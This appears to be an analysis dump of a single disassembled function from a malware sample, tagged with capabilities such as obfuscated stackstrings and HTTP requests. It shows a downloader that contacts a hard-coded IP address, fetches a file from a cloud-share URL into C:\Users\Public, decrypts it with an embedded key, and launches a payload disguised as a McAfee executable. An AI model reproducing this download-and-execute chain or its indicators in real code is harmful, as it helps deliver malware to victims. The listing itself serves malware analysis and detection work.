Function at 0x1401c04b0
Capabilities:
Contain obfuscated stackstrings
Create http request
Create process on windows

Disassembly:
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x668
mov qword [rsp + 0x650], 0xfffffffffffffffe
mov rax, qword [0x14027f4c8]
xor rax, rsp
mov qword [rsp + 0x658], rax
mov rcx, qword [rsp + 0x680]
call fcn.140005650
mov r8d, 1
mov rax, qword [rsp + 0x680]
mov rdx, qword [rax + 0x118]
mov rcx, qword [rsp + 0x680]
call fcn.140003e40
xor r8d, r8d
mov rax, qword [rsp + 0x680]
mov rdx, qword [rax + 0x118]
mov rcx, qword [rsp + 0x680]
call fcn.140003e40
mov byte [rsp + 0xb0], 0x43
mov byte [rsp + 0xb1], Ordinal_60
mov byte [rsp + 0xb2], 0x5c
mov byte [rsp + 0xb3], 0x55
mov byte [rsp + 0xb4], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0xb5], 0x65
mov byte [rsp + 0xb6], reloc.OLEAUT32.dll_VarBstrFromDisp
mov byte [rsp + 0xb7], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0xb8], 0x5c
mov byte [rsp + 0xb9], 0x50
mov byte [rsp + 0xba], 0x75
mov byte [rsp + 0xbb], 0x62
mov byte [rsp + 0xbc], WSAStartup
mov byte [rsp + 0xbd], WSASetLastError
mov byte [rsp + 0xbe], 0x63
mov byte [rsp + 0xbf], 0x5c
mov byte [rsp + 0xc0], 0
mov byte [rsp + 0x4d0], 0
lea rax, [rsp + 0x4d1]
mov rdi, rax
xor eax, eax
mov ecx, 0x103
rep stosb byte [rdi], al
mov r8d, 0x104
lea rdx, [rsp + 0x4d0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rcx, [rsp + 0x4d0]
call qword [sym.imp.SHLWAPI.dll_PathFindFileNameA]
mov rdx, rax
lea rcx, [rsp + 0xb0]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea r9, [rsp + 0xb0]
lea r8, [0x140237d64]
lea rdx, [0x140237d7c]
lea rcx, str.INSTALL
call qword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
lea rax, [rsp + 0x98]
lea rcx, str.https:__6.26.44.99
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_send
rep movsb byte [rdi], byte [rsi]
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 1
xor ecx, ecx
call qword [sym.imp.WININET.dll_InternetOpenA]
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x84000000
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x98]
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov qword [rsp + 0xc8], rax
cmp qword [rsp + 0xc8], 0
jne 0x1401c079c
lea rcx, [rsp + 0x5e0]
call fcn.1401c42a0
nop
lea rdx, str.C:UsersPublicUMlTo0g.dat
lea rcx, [rsp + 0x38]
call fcn.140001170
nop
lea rdx, str.https:__onw.cc_1drv.ms_urlhttps:__1drv.ms_u_s_AkFPFpZOd6wAgmd6rVBy3wHYmAjA_eWGgtR6
lea rcx, [rsp + 0x60]
call fcn.140001170
nop
lea r8, [rsp + 0x38]
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x5e0]
call fcn.1401c4550
nop
lea rcx, [rsp + 0x60]
call fcn.1400011e0
nop
lea rcx, [rsp + 0x38]
call fcn.1400011e0
lea rcx, [rsp + 0x5e0]
call fcn.1401c41f0
lea r8, str.56165fg4k1d34yh
lea rdx, str.C:UsersPublicL78V3gUKHi1RgBU.dat
lea rcx, str.C:UsersPublicUMlTo0g.dat
call fcn.1401bf400
lea rdx, str.C:UsersPublicL78V3gUKHi1RgBU.dat
lea rcx, str.C:UsersPublic_
call fcn.1401bf7b0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r9, [0x140235e7e]
lea r8, str.C:UsersPublicMcAfee_tapisrv.exe
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0xc8]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
nop
lea rcx, [rsp + 0x5e0]
call fcn.1401c4340
jmp 0x1401c07b8
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0xc8]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, 1
mov rcx, qword [rsp + 0x658]
xor rcx, rsp
call fcn.140154c30
add rsp, 0x668
pop rdi
pop rsi
ret